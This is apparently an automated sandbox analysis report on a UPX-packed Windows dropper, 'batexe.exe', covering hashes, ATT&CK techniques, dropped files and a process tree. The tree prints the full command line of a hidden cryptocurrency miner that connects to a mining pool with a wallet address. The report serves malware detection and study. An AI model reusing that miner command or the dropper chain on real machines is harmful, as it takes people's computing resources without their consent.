73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
292s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 00:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2740	b2e.exe
6004	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
6004	cpuminer-sse2.exe
6004	cpuminer-sse2.exe
6004	cpuminer-sse2.exe
6004	cpuminer-sse2.exe
6004	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5184-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5184 wrote to memory of 2740	5184	batexe.exe	90
PID 5184 wrote to memory of 2740	5184	batexe.exe	90
PID 5184 wrote to memory of 2740	5184	batexe.exe	90
PID 2740 wrote to memory of 2208	2740	b2e.exe	91
PID 2740 wrote to memory of 2208	2740	b2e.exe	91
PID 2740 wrote to memory of 2208	2740	b2e.exe	91
PID 2208 wrote to memory of 6004	2208	cmd.exe	94
PID 2208 wrote to memory of 6004	2208	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5184
- C:\Users\Admin\AppData\Local\Temp\56EA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\56EA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\56EA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\59C8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2208
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:6004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\56EA.tmp\b2e.exe

Filesize
11.9MB

MD5
654c793ccf4638764f225cd6a27d19b3

SHA1
0100d262f1ecc198d8957a3a43285c380f7e37b3

SHA256
d2586905f9a38346c9763f1839026b644c47016ee9f51e6ad9c4102c5644178e

SHA512
26869adb9b09be5e0067d3bb8d0cda6150a05c69225e0e2aab70c3d64e8bcbc810a6e068aa8e0c0b3495678f1c72c1f909d7ee04373599c5f97e9e9d8cc15ca8

Download Submit
C:\Users\Admin\AppData\Local\Temp\56EA.tmp\b2e.exe

Filesize
6.6MB

MD5
6e798356a224fa4fb1f4e625e316a342

SHA1
50d24189d987ec4ac8dffcd3e75edad9e7e3090b

SHA256
e721fc29f233301d719adad246e524973c0290891ba80c2a61997830d3fede61

SHA512
5f4b3e60e89faba1206e2374690cd11d167a7fbbaaa01ee978f7e82187d5acbd1e6d145e67d1070bdcea08213e25ccf0616500ac2ed15021270e012f26248ff5

Download Submit
C:\Users\Admin\AppData\Local\Temp\56EA.tmp\b2e.exe

Filesize
4.5MB

MD5
97f40ecbc03cf2491e9b5e29bae3bf6d

SHA1
c530572f61777fedb4d15d7c3be6837da94ccd98

SHA256
0915e1335ee8107cbaaa8c480961da1e734184f2b64fbaf082c855c3ed86bc47

SHA512
b03c55a7bda61b1ca5977c048d3739108fbd72ecf3ad3fe00735f209bf4aeb2c5ac4d8ff7c0476da3b4df929d663c41b15d00396cf80c08ae9854f8afd223d5c

Download Submit
C:\Users\Admin\AppData\Local\Temp\59C8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
53661b27abf7450c8eafc68f86bade35

SHA1
80ba20b29dfcb30a7299e01c906518bb0f1c144c

SHA256
5bed0fc45e931d1353781b8e64b2889fcb15615ec997460bb25a181c11973a7f

SHA512
0e7eefec24b903bb18a5c00ef7292a6babc1ea2b8639e2cea3b64021cf6771276d4fe0a495b8b196c67a4a3f4d5c05b3bc091e00ffc4df54cb6e1c7f2d3a1309

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
bfd4fd29f24f0645f8c82ac65305c253

SHA1
1de1d848534a12fdf60d2147042e2cedc1716e66

SHA256
2bc5243d289036b5903e5326dfead4f7ed99e7f841b64662248ce317d2dfb1dd

SHA512
08b4745c8787c5e43057010c737fbf40e20857630656f667e0facfb3ae74b26aa86e5804434706d1620600c057b1e02b006ff112acaa14c7216013d0e209e7d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
74a26110ddc773b3d0e0b14096babf86

SHA1
bb39e731cc0ed380b41abc21e29a37f664068dcc

SHA256
c1060e6f97e2d3d91639b30ccce60e60b802b06f8c72513d4ad76f67cee664b4

SHA512
4e0ddf9e35510dc58476d24735097c5643a642145585e946e5851bf112a67541c04b09ae9261fcc5dcf5fa8a51112b955490860d1363367ff791f36d4b8f2412

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
ea811f00e84df93ff2c7914ab6804cc5

SHA1
eabdb8b292a32609a114e69f090b1fae74a5997c

SHA256
4dfcb3832db322d1f8acbfb79250552a795587454d0c28bcf2834e0a84fa14f6

SHA512
fdfeb44966da53304a86b5fecd0cd1c747252758428c793a8521926e93d8f386b89ff5eaaea19cc8e0109755e929ac5bc55c62bf3abb31718b10d021b9b30c77

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2740-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2740-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5184-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/6004-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/6004-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-46-0x000000006D560000-0x000000006D5F8000-memory.dmp

Filesize
608KB

Download
memory/6004-47-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/6004-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/6004-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6004-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download